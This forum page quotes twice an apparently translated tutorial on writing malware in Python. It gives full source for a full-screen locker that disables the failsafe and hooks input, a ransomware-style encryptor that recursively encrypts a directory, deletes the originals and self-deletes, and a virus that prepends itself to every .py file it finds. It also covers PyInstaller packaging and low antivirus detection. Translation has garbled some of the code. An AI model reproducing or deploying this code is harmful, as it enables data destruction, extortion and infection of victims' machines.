Reply to thread

Message

<blockquote data-quote="Plotu" data-source="post: 383" data-attributes="member: 5"><img src="https://sun9-23.userapi.com/impg/JV9o1l0QJcsB9tE_Y14AcV3H7jvWt3bCIGM-8A/07CEpKedGBo.jpg?size=807x363&amp;quality=96&amp;sign=28f0ad6baa1e7cb35be98491f4ee6ccd&amp;type=album" alt="07CEpKedGBo.jpg" class="fr-fic fr-dii fr-draggable " style="" />The content of the article<ul>
<li data-xf-list-type="ul">Setting up the environment</li>
<li data-xf-list-type="ul">Locker</li>
<li data-xf-list-type="ul">Cryptographer</li>
<li data-xf-list-type="ul">Virus</li>
<li data-xf-list-type="ul">Making an executable file</li>
<li data-xf-list-type="ul">Conclusion</li>
</ul>Why would anyone want to write malware in Python? We&#039;ll do this to learn the general principles of malware development, and at the same time you will practice using this language and be able to apply the knowledge gained for other purposes. In addition, Python malware does come across in the wild, and not all antiviruses pay attention to it.Most often, Python is used to create backdoors in software in order to download and execute any code on an infected machine. So, in 2017, employees of the Dr.Web company discovered Python.BackDoor.33, and on May 8, 2019, Mac.BackDoor.Siggen.20 was spotted. Another Trojan, RAT Python, stole user data from infected devices and used Telegram as a data transfer channel.We will create three demo programs: a locker that will block access to the computer until the user enters the correct password, an encryptor that will bypass directories and encrypt all files in them, and a virus that will distribute its code, infecting other programs. in Python.INFOThe topic of remote administration of infected machines is beyond the scope of this article, but you can get a basic code base with all the explanations in the article &quot; Reverse shell in Python&quot;.Despite the fact that our creations do not claim to be of any high technical level, they can be dangerous under certain conditions. Therefore, I warn you that severe punishment may follow for disrupting other people&#039;s computers and destroying information. Let&#039;s agree right away: you will only run everything that we describe here on your own machine, and even then be careful not to accidentally encrypt the entire disk for yourself.Setting up the environmentSo, first of all, of course, we need Python itself, and the third version. I will not describe in detail how to install it, but I will immediately send you to download the free book &quot;Python Bite&quot; (PDF). In it you will find the answer to this and many other Python-related questions.Additionally, we will install several modules that we will use:Code:pip install pyAesCryptpip install pyautoguipip install tkinterThis completes the preparatory stage, you can start writing the code.LockerThe idea is to create a full screen window and prevent the user from closing it.Importing libraries:Code:import pyautoguifrom tkinter import Tk, Entry, Labelfrom pyautogu coi import click, moveTofrom time import sleepNow let&#039;s get down to the main part of the program.Code:# Create a windowroot = Tk ()# Cut out the protection of the upper left corner of the screenpyautogui.FAILSAFE = False# Get the width and height of the windowwidth = root.winfo_screenwidth ()height = root.winfo_screenheight ()# Set the title of the windowroot.title (&#039;From &quot;Xakep&quot; with love&#039;)# Open the window to full screenroot.attributes (&quot;- fullscreen&quot;, True)# Create an input field, set its size and locationentry = Entry (root, font = 1)entry.place (width = 150, height = 50, x = width / 2-75, y = height / 2-25)# Create text labels and set their locationlabel0 = Label (root, text = &quot;╚ (• ⌂ •) ╝ Locker by Xakep (╯ ° □ °） ╯︵ ┻━┻&quot;, font = 1)label0.grid (row = 0, column = 0)label1 = Label (root, text = &quot;Write the password and press Ctrl + C&quot;, font = &#039;Arial 20&#039;)label1.place (x = width / 2-75-130, y = height / 2-25-100)# Turn on the constant update of the window and pauseroot.update ()sleep (0.2)# Click on the center of the windowclick (width / 2, height / 2)# reset the keyk = False# Now we continuously check if the correct key has been entered# If entered, call the hooliganism functionwhile not k:&nbsp; &nbsp; on_closing ()Here pyautogui.FAILSAFE = Falseis the protection that is activated when you move the cursor to the upper left corner of the screen. When it is triggered, the program is closed. We do not need this, so we disable this function.To make our locker work on any monitor with any resolution, we read the width and height of the screen and, using a simple formula, calculate where the cursor will go, click, and so on. In our case, the cursor hits the center of the screen, that is, we divide the width and height by two. We will sleepadd a pause ( ) so that the user can enter the code to cancel.Now we have not blocked the input of text, but you can do it, and then the user will not get rid of us in any way. To do this, we will write some more code. I do not advise you to do it right away. First, let&#039;s configure the program so that it turns off when you enter a password. But the code for blocking the keyboard and mouse looks like this:Code:import pythoncom, pyHookhm = pyHook.HookManager ()hm.MouseAll = uMadhm.KeyAll = uMadhm.HookMouse ()hm.HookKeyboard ()pythoncom.PumpMessages ()Let&#039;s create a function for entering the key:Code:def callback (event):&nbsp; &nbsp; global k, entry&nbsp; &nbsp; if entry.get () == &quot;xakep&quot;:&nbsp; &nbsp; &nbsp; &nbsp; k = TrueEverything is simple here. If the key is not the one we specified, the program continues to run. If the passwords match, we slow down.The last function that is needed for the pest window to work:Code:def on_closing ():&nbsp; &nbsp; # Click on the center of the screen&nbsp; &nbsp; click (width / 2, height / 2)&nbsp; &nbsp; # Move the mouse cursor to the center of the screen&nbsp; &nbsp; moveTo (width / 2, height / 2)&nbsp; &nbsp; # Turn on full screen mode&nbsp; &nbsp; root.attributes (&quot;- fullscreen&quot;, True)&nbsp; &nbsp; # When trying to close the window using the task manager, call on_closing&nbsp; &nbsp; root.protocol (&quot;WM_DELETE_WINDOW&quot;, on_closing)&nbsp; &nbsp; # Enable constant window updates&nbsp; &nbsp; root.update ()&nbsp; &nbsp; # Add a keyboard shortcut that will close the program&nbsp; &nbsp; root.bind (&#039;&lt;Control-KeyPress-c&gt;&#039;, callback)At this point, our impromptu locker is ready.CryptographerWe will write this virus using only one third-party library - pyAesCrypt. The idea is to encrypt all files in the specified directory and all directories below. This is an important limitation to avoid breaking the operating system. For work, we will create two files - an encryptor and a decryptor. After work, the executable files will be self-deleted.First, we request the path to the attacked directory and the password for encryption and decryption:Code:direct = input (&quot;Write the attacked directory:&quot;)password = input (&quot;Enter password:&quot;)Next, we will generate scripts for encryption and decryption. It looks something like this:Code:with open (&quot;Crypt.py&quot;, &quot;w&quot;) as crypt:&nbsp; &nbsp; crypt.write (&#039;&#039; &#039;&nbsp; &nbsp; program text&nbsp; &nbsp; &#039;&#039; &#039;)Moving on to the files that we will use as templates. Let&#039;s start with the encoder. We need two standard libraries:Code:import osimport sysWe write the encryption function (all according to the pyAesCrypt manual):Code:def crypt (file):&nbsp; &nbsp; import pyAesCrypt&nbsp; &nbsp; print (&#039;-&#039; * 80)&nbsp; &nbsp; # Set the password and buffer size&nbsp; &nbsp; password = &quot;&#039;&#039; &#039;+ str (password) +&#039; &#039;&#039;&quot;&nbsp; &nbsp; buffer_size = 512 * 1024&nbsp; &nbsp; # Call the encryption function&nbsp; &nbsp; pyAesCrypt.encryptFile (str (file), str (file) + &quot;.crp&quot;, password, buffer_size)&nbsp; &nbsp; print (&quot;[Encrypt] &#039;&quot; + str (file) + &quot;. crp&#039;&quot;)&nbsp; &nbsp; # Delete the original file&nbsp; &nbsp; os.remove (file)Instead of str (password), the script generator will insert the password.Important nuances. We will encrypt and decrypt using a buffer, thus we will get rid of the limitation on the file size (at least, we will significantly reduce this limitation). The call is os.remove(file)needed to delete the original file, since we copy the file and encrypt the copy. You can choose to copy the file instead of deleting it.Now a function that bypasses folders. Nothing complicated here either.Code:def walk (dir):&nbsp; &nbsp; # Loop over all subfolders in the specified folder&nbsp; &nbsp; for name in os.listdir (dir):&nbsp; &nbsp; &nbsp; &nbsp; path = os.path.join (dir, name)&nbsp; &nbsp; &nbsp; &nbsp; # If it&#039;s a file, encrypt it&nbsp; &nbsp; &nbsp; &nbsp; if os.path.isfile (path):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; crypt (path)&nbsp; &nbsp; &nbsp; &nbsp; # If it&#039;s a folder, repeat recursively&nbsp; &nbsp; &nbsp; &nbsp; else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; walk (path)Let&#039;s add two more lines at the end. One for starting a bypass, the second for self-destructing the program.Code:walk (&quot;&#039;&#039; &#039;+ str (direct) +&#039; &#039;&#039;&quot;)os.remove (str (sys.argv [0]))The desired path will be substituted here again.Here is the entire source.Code:import osimport sysdef crypt (file):&nbsp; &nbsp; import pyAesCrypt&nbsp; &nbsp; print (&#039;-&#039; * 80)&nbsp; &nbsp; password = &quot;&#039;&quot; + str (password) + &quot;&#039;&quot;&nbsp; &nbsp; buffer_size = 512 * 1024&nbsp; &nbsp; pyAesCrypt.encryptFile (str (file), str (file) + &quot;.crp&quot;, password, buffer_size)&nbsp; &nbsp; print (&quot;[Encrypt] &#039;&quot; + str (file) + &quot;. crp&#039;&quot;)&nbsp; &nbsp; os.remove (file)def walk (dir):&nbsp; &nbsp; for name in os.listdir (dir):&nbsp; &nbsp; &nbsp; &nbsp; path = os.path.join (dir, name)&nbsp; &nbsp; &nbsp; &nbsp; if os.path.isfile (path):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; crypt (path)&nbsp; &nbsp; &nbsp; &nbsp; else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; walk (path)walk (&quot;&#039;&#039; &#039;+ str (direct) +&#039; &#039;&#039;&quot;)print (&#039;-&#039; * 80)os.remove (str (sys.argv [0]))Now the &quot;mirrored&quot; file. If in the ransomware we wrote encrypt, then in the decryptor we write decrypt. There is no point in repeating the parsing of the same lines, so the final version is right away.Code:import osimport sys# Decryption functiondef decrypt (file):&nbsp; &nbsp; import pyAesCrypt&nbsp; &nbsp; print (&#039;-&#039; * 80)&nbsp; &nbsp; password = &quot;&#039;&#039; &#039;+ str (password) +&#039; &#039;&#039;&quot;&nbsp; &nbsp; buffer_size = 512 * 1024&nbsp; &nbsp; pyAesCrypt.decryptFile (str (file), str (os.path.splitext (file) [0]), password, buffer_size)&nbsp; &nbsp; print (&quot;[Decrypt] &#039;&quot; + str (os.path.splitext (file) [0]) + &quot;&#039;&quot;)&nbsp; &nbsp; os.remove (file)# Directory traversaldef walk (dir):&nbsp; &nbsp; for name in os.listdir (dir):&nbsp; &nbsp; &nbsp; &nbsp; path = os.path.join (dir, name)&nbsp; &nbsp; &nbsp; &nbsp; if os.path.isfile (path):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; decrypt (path)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; except Error:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pass&nbsp; &nbsp; &nbsp; &nbsp; else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; walk (path)walk (&quot;&#039;&#039; &#039;+ str (direct) +&#039; &#039;&#039;&quot;)print (&#039;-&#039; * 80)os.remove (str (sys.argv [0]))A total of 29 lines, of which it took three to decipher. In case one of the files suddenly turns out to be damaged and an error occurs, we use the exception catch ( try...except). That is, if we fail to decrypt the file, we just skip it.VirusThe idea here is to create a program that will infect other programs with the specified extension. Unlike real viruses that infect any executable file, ours will only infect other Python programs.This time we don&#039;t need any third-party libraries, we only need the sys and os modules. We connect them.Code:import sysimport osLet&#039;s create three functions: message, parser, infection.The function that reports the attack:Code:def code (void):&nbsp; &nbsp; print (&quot;Infected&quot;)Let&#039;s call it right away to understand that the program has worked:Code:code (None)Directory traversal is similar to what we did in the ransomware.Code:def walk (dir):&nbsp; &nbsp; for name in os.listdir (dir):&nbsp; &nbsp; &nbsp; &nbsp; path = os.path.join (dir, name)&nbsp; &nbsp; &nbsp; &nbsp; # If you find a file, check its extension&nbsp; &nbsp; &nbsp; &nbsp; if os.path.isfile (path):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # If the extension is py, call virus&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (os.path.splitext (path) [1] == &quot;.py&quot;):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; virus (path)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pass&nbsp; &nbsp; &nbsp; &nbsp; else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # If it&#039;s a directory, go to it&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; walk (path)The virus will infect files &quot;down&quot; from the directory where it is located (we get the path by calling os.getcwd()).At the beginning and at the end of the file, we write the following comments:Code:# START ## STOP #I&#039;ll explain why a little later.Next is the function that is responsible for self-replication.Code:def virus (python):&nbsp; &nbsp; begin = &quot;# START # \ n&quot;&nbsp; &nbsp; end = &quot;# STOP # \ n&quot;&nbsp; &nbsp; # Read the attacked file, let&#039;s call it copy&nbsp; &nbsp; with open (sys.argv [0], &quot;r&quot;) as copy:&nbsp; &nbsp; &nbsp; &nbsp; # Create a flag&nbsp; &nbsp; &nbsp; &nbsp; k = 0&nbsp; &nbsp; &nbsp; &nbsp; # Create a variable for the virus code and add an empty line&nbsp; &nbsp; &nbsp; &nbsp; virus_code = &quot;\ n&quot;&nbsp; &nbsp; &nbsp; &nbsp; # We go through the infected file line by line&nbsp; &nbsp; &nbsp; &nbsp; for line in copy:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # If we find a start marker, raise the flag&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if line == begin:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; k = 1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # Add a marker to the infected code&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; virus_code + = begin&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # If we go through the beginning, but do not reach the end, copy the line&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; elif k == 1 and line! = end:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; virus_code + = line&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # If we have reached the end, add the final marker and exit the loop&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; elif line == end:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; virus_code + = end&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pass&nbsp; &nbsp; # Read the infected file again&nbsp; &nbsp; with open (python, &quot;r&quot;) as file:&nbsp; &nbsp; &nbsp; &nbsp; # Create a variable for the source code&nbsp; &nbsp; &nbsp; &nbsp; original_code = &quot;&quot;&nbsp; &nbsp; &nbsp; &nbsp; # Copy the infected code line by line&nbsp; &nbsp; &nbsp; &nbsp; for line in file:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; original_code + = line&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # If we find a marker of the beginning of the virus, stop and raise the vir flag&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if line == begin:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; vir = True&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # If there is no marker, omit the vir flag&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; vir = False&nbsp; &nbsp; # If vir is omitted, write virus and source code to file&nbsp; &nbsp; if not vir:&nbsp; &nbsp; &nbsp; &nbsp; with open (python, &quot;w&quot;) as paste:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; paste.write (virus_code + &quot;\ n \ n&quot; + original_code)&nbsp; &nbsp; else:&nbsp; &nbsp; &nbsp; &nbsp; passNow, I think, it has become clearer why we need “start” and “stop” labels. They mark the beginning and end of the virus code. First, we read the file and go through it line by line. When we come across the starting mark, we raise the flag. Add an empty line so that the virus in the source code starts on a new line. We read the file a second time and write the source code line by line. The last step is to write a virus, two indents and the original code. You can make fun of it and write it in some special way - for example, modify all output lines.Making an executable fileHow to run a virus written in a scripting language on a victim&#039;s machine? There are two ways: either to somehow make sure that the interpreter is installed there, or to pack our creation along with everything you need into a single executable file. The PyInstaller utility serves this purpose. Here&#039;s how to use it.InstallCode:pip install PyInstallerAnd we enter the commandCode:PyInstaller &quot;filename.py&quot; --onefile --noconsoleWe wait a bit, and a bunch of files appear in the program folder. You can safely get rid of everything except executables, they will be in the dist folder.It is said that ever since malware in Python began to appear, antiviruses have become extremely nervous about PyInstaller, even if it comes with a perfectly safe program.I decided to check what VirusTotal has to say about my creations. Here are the reports:<ul>
<li data-xf-list-type="ul">12 out of 72 antiviruses did not like the Crypt.exe file;</li>
<li data-xf-list-type="ul">Locker.exe file - 10 out of 72 antiviruses;</li>
<li data-xf-list-type="ul">file Virus.exe - 23 out of 72 antiviruses.</li>
</ul>The worst result was shown by Virus.exe - either some antiviruses paid attention to self-replication, or they just didn&#039;t like the name of the file. But as you can see, the contents of any of these files have not alerted all antiviruses.ConclusionSo, we wrote three malicious programs using a scripting language and packaged them using PyInstaller.Of course, our virus is not the scariest one in the world, and the locker and ransomware still need to somehow be delivered to the victim&#039;s car. At the same time, none of our programs communicate with the C &amp; C server and I have not obfuscated the code at all, so there is still a huge scope for creativity.Nevertheless, the level of detection by antiviruses turned out to be surprisingly low. It turns out that even the simplest self-written malware can become a threat. So antiviruses are antiviruses, but it will always be unsafe to download random programs from the Internet and run them without thinking.</blockquote>

[QUOTE="Plotu, post: 383, member: 5"] [IMG alt="07CEpKedGBo.jpg"]https://sun9-23.userapi.com/impg/JV9o1l0QJcsB9tE_Y14AcV3H7jvWt3bCIGM-8A/07CEpKedGBo.jpg?size=807x363&quality=96&sign=28f0ad6baa1e7cb35be98491f4ee6ccd&type=album[/IMG] [B]The content of the article[/B] [LIST] [*]Setting up the environment [*]Locker [*]Cryptographer [*]Virus [*]Making an executable file [*]Conclusion [/LIST] Why would anyone want to write malware in Python? We'll do this to learn the general principles of malware development, and at the same time you will practice using this language and be able to apply the knowledge gained for other purposes. In addition, Python malware does come across in the wild, and not all antiviruses pay attention to it. Most often, Python is used to create backdoors in software in order to download and execute any code on an infected machine. So, in 2017, employees of the Dr.Web company discovered Python.BackDoor.33, and on May 8, 2019, Mac.BackDoor.Siggen.20 was spotted. Another Trojan, RAT Python, stole user data from infected devices and used Telegram as a data transfer channel. We will create three demo programs: a locker that will block access to the computer until the user enters the correct password, an encryptor that will bypass directories and encrypt all files in them, and a virus that will distribute its code, infecting other programs. in Python. [B]INFO[/B] The topic of remote administration of infected machines is beyond the scope of this article, but you can get a basic code base with all the explanations in the article " Reverse shell in Python". Despite the fact that our creations do not claim to be of any high technical level, they can be dangerous under certain conditions. Therefore, I warn you that severe punishment may follow for disrupting other people's computers and destroying information. Let's agree right away: you will only run everything that we describe here on your own machine, and even then be careful not to accidentally encrypt the entire disk for yourself. [B]Setting up the environment[/B] So, first of all, of course, we need Python itself, and the third version. I will not describe in detail how to install it, but I will immediately send you to download the free book "Python Bite" (PDF). In it you will find the answer to this and many other Python-related questions. Additionally, we will install several modules that we will use: Code: pip install pyAesCrypt pip install pyautogui pip install tkinter This completes the preparatory stage, you can start writing the code. [B]Locker[/B] The idea is to create a full screen window and prevent the user from closing it. Importing libraries: Code: import pyautogui from tkinter import Tk, Entry, Label from pyautogu coi import click, moveTo from time import sleep Now let's get down to the main part of the program. Code: # Create a window root = Tk () # Cut out the protection of the upper left corner of the screen pyautogui.FAILSAFE = False # Get the width and height of the window width = root.winfo_screenwidth () height = root.winfo_screenheight () # Set the title of the window root.title ('From "Xakep" with love') # Open the window to full screen root.attributes ("- fullscreen", True) # Create an input field, set its size and location entry = Entry (root, font = 1) entry.place (width = 150, height = 50, x = width / 2-75, y = height / 2-25) # Create text labels and set their location label0 = Label (root, text = "╚ (• ⌂ •) ╝ Locker by Xakep (╯ ° □ °） ╯︵ ┻━┻", font = 1) label0.grid (row = 0, column = 0) label1 = Label (root, text = "Write the password and press Ctrl + C", font = 'Arial 20') label1.place (x = width / 2-75-130, y = height / 2-25-100) # Turn on the constant update of the window and pause root.update () sleep (0.2) # Click on the center of the window click (width / 2, height / 2) # reset the key k = False # Now we continuously check if the correct key has been entered # If entered, call the hooliganism function while not k: on_closing () Here pyautogui.FAILSAFE = Falseis the protection that is activated when you move the cursor to the upper left corner of the screen. When it is triggered, the program is closed. We do not need this, so we disable this function. To make our locker work on any monitor with any resolution, we read the width and height of the screen and, using a simple formula, calculate where the cursor will go, click, and so on. In our case, the cursor hits the center of the screen, that is, we divide the width and height by two. We will sleepadd a pause ( ) so that the user can enter the code to cancel. Now we have not blocked the input of text, but you can do it, and then the user will not get rid of us in any way. To do this, we will write some more code. I do not advise you to do it right away. First, let's configure the program so that it turns off when you enter a password. But the code for blocking the keyboard and mouse looks like this: Code: import pythoncom, pyHook hm = pyHook.HookManager () hm.MouseAll = uMad hm.KeyAll = uMad hm.HookMouse () hm.HookKeyboard () pythoncom.PumpMessages () Let's create a function for entering the key: Code: def callback (event): global k, entry if entry.get () == "xakep": k = True Everything is simple here. If the key is not the one we specified, the program continues to run. If the passwords match, we slow down. The last function that is needed for the pest window to work: Code: def on_closing (): # Click on the center of the screen click (width / 2, height / 2) # Move the mouse cursor to the center of the screen moveTo (width / 2, height / 2) # Turn on full screen mode root.attributes ("- fullscreen", True) # When trying to close the window using the task manager, call on_closing root.protocol ("WM_DELETE_WINDOW", on_closing) # Enable constant window updates root.update () # Add a keyboard shortcut that will close the program root.bind ('<Control-KeyPress-c>', callback) At this point, our impromptu locker is ready. [B]Cryptographer[/B] We will write this virus using only one third-party library - pyAesCrypt. The idea is to encrypt all files in the specified directory and all directories below. This is an important limitation to avoid breaking the operating system. For work, we will create two files - an encryptor and a decryptor. After work, the executable files will be self-deleted. First, we request the path to the attacked directory and the password for encryption and decryption: Code: direct = input ("Write the attacked directory:") password = input ("Enter password:") Next, we will generate scripts for encryption and decryption. It looks something like this: Code: with open ("Crypt.py", "w") as crypt: crypt.write ('' ' program text '' ') Moving on to the files that we will use as templates. Let's start with the encoder. We need two standard libraries: Code: import os import sys We write the encryption function (all according to the pyAesCrypt manual): Code: def crypt (file): import pyAesCrypt print ('-' * 80) # Set the password and buffer size password = "'' '+ str (password) +' ''" buffer_size = 512 * 1024 # Call the encryption function pyAesCrypt.encryptFile (str (file), str (file) + ".crp", password, buffer_size) print ("[Encrypt] '" + str (file) + ". crp'") # Delete the original file os.remove (file) Instead of str (password), the script generator will insert the password. Important nuances. We will encrypt and decrypt using a buffer, thus we will get rid of the limitation on the file size (at least, we will significantly reduce this limitation). The call is os.remove(file)needed to delete the original file, since we copy the file and encrypt the copy. You can choose to copy the file instead of deleting it. Now a function that bypasses folders. Nothing complicated here either. Code: def walk (dir): # Loop over all subfolders in the specified folder for name in os.listdir (dir): path = os.path.join (dir, name) # If it's a file, encrypt it if os.path.isfile (path): crypt (path) # If it's a folder, repeat recursively else: walk (path) Let's add two more lines at the end. One for starting a bypass, the second for self-destructing the program. Code: walk ("'' '+ str (direct) +' ''") os.remove (str (sys.argv [0])) The desired path will be substituted here again. Here is the entire source. Code: import os import sys def crypt (file): import pyAesCrypt print ('-' * 80) password = "'" + str (password) + "'" buffer_size = 512 * 1024 pyAesCrypt.encryptFile (str (file), str (file) + ".crp", password, buffer_size) print ("[Encrypt] '" + str (file) + ". crp'") os.remove (file) def walk (dir): for name in os.listdir (dir): path = os.path.join (dir, name) if os.path.isfile (path): crypt (path) else: walk (path) walk ("'' '+ str (direct) +' ''") print ('-' * 80) os.remove (str (sys.argv [0])) Now the "mirrored" file. If in the ransomware we wrote encrypt, then in the decryptor we write decrypt. There is no point in repeating the parsing of the same lines, so the final version is right away. Code: import os import sys # Decryption function def decrypt (file): import pyAesCrypt print ('-' * 80) password = "'' '+ str (password) +' ''" buffer_size = 512 * 1024 pyAesCrypt.decryptFile (str (file), str (os.path.splitext (file) [0]), password, buffer_size) print ("[Decrypt] '" + str (os.path.splitext (file) [0]) + "'") os.remove (file) # Directory traversal def walk (dir): for name in os.listdir (dir): path = os.path.join (dir, name) if os.path.isfile (path): try: decrypt (path) except Error: pass else: walk (path) walk ("'' '+ str (direct) +' ''") print ('-' * 80) os.remove (str (sys.argv [0])) A total of 29 lines, of which it took three to decipher. In case one of the files suddenly turns out to be damaged and an error occurs, we use the exception catch ( try...except). That is, if we fail to decrypt the file, we just skip it. [B]Virus[/B] The idea here is to create a program that will infect other programs with the specified extension. Unlike real viruses that infect any executable file, ours will only infect other Python programs. This time we don't need any third-party libraries, we only need the sys and os modules. We connect them. Code: import sys import os Let's create three functions: message, parser, infection. The function that reports the attack: Code: def code (void): print ("Infected") Let's call it right away to understand that the program has worked: Code: code (None) Directory traversal is similar to what we did in the ransomware. Code: def walk (dir): for name in os.listdir (dir): path = os.path.join (dir, name) # If you find a file, check its extension if os.path.isfile (path): # If the extension is py, call virus if (os.path.splitext (path) [1] == ".py"): virus (path) else: pass else: # If it's a directory, go to it walk (path) The virus will infect files "down" from the directory where it is located (we get the path by calling os.getcwd()). At the beginning and at the end of the file, we write the following comments: Code: # START # # STOP # I'll explain why a little later. Next is the function that is responsible for self-replication. Code: def virus (python): begin = "# START # \ n" end = "# STOP # \ n" # Read the attacked file, let's call it copy with open (sys.argv [0], "r") as copy: # Create a flag k = 0 # Create a variable for the virus code and add an empty line virus_code = "\ n" # We go through the infected file line by line for line in copy: # If we find a start marker, raise the flag if line == begin: k = 1 # Add a marker to the infected code virus_code + = begin # If we go through the beginning, but do not reach the end, copy the line elif k == 1 and line! = end: virus_code + = line # If we have reached the end, add the final marker and exit the loop elif line == end: virus_code + = end break else: pass # Read the infected file again with open (python, "r") as file: # Create a variable for the source code original_code = "" # Copy the infected code line by line for line in file: original_code + = line # If we find a marker of the beginning of the virus, stop and raise the vir flag if line == begin: vir = True break # If there is no marker, omit the vir flag else: vir = False # If vir is omitted, write virus and source code to file if not vir: with open (python, "w") as paste: paste.write (virus_code + "\ n \ n" + original_code) else: pass Now, I think, it has become clearer why we need “start” and “stop” labels. They mark the beginning and end of the virus code. First, we read the file and go through it line by line. When we come across the starting mark, we raise the flag. Add an empty line so that the virus in the source code starts on a new line. We read the file a second time and write the source code line by line. The last step is to write a virus, two indents and the original code. You can make fun of it and write it in some special way - for example, modify all output lines. [B]Making an executable file[/B] How to run a virus written in a scripting language on a victim's machine? There are two ways: either to somehow make sure that the interpreter is installed there, or to pack our creation along with everything you need into a single executable file. The PyInstaller utility serves this purpose. Here's how to use it. Install Code: pip install PyInstaller And we enter the command Code: PyInstaller "filename.py" --onefile --noconsole We wait a bit, and a bunch of files appear in the program folder. You can safely get rid of everything except executables, they will be in the dist folder. It is said that ever since malware in Python began to appear, antiviruses have become extremely nervous about PyInstaller, even if it comes with a perfectly safe program. I decided to check what VirusTotal has to say about my creations. Here are the reports: [LIST] [*]12 out of 72 antiviruses did not like the Crypt.exe file; [*]Locker.exe file - 10 out of 72 antiviruses; [*]file Virus.exe - 23 out of 72 antiviruses. [/LIST] The worst result was shown by Virus.exe - either some antiviruses paid attention to self-replication, or they just didn't like the name of the file. But as you can see, the contents of any of these files have not alerted all antiviruses. [B]Conclusion[/B] So, we wrote three malicious programs using a scripting language and packaged them using PyInstaller. Of course, our virus is not the scariest one in the world, and the locker and ransomware still need to somehow be delivered to the victim's car. At the same time, none of our programs communicate with the C & C server and I have not obfuscated the code at all, so there is still a huge scope for creativity. Nevertheless, the level of detection by antiviruses turned out to be surprisingly low. It turns out that even the simplest self-written malware can become a threat. So antiviruses are antiviruses, but it will always be unsafe to download random programs from the Internet and run them without thinking. [/QUOTE]

Name

Verification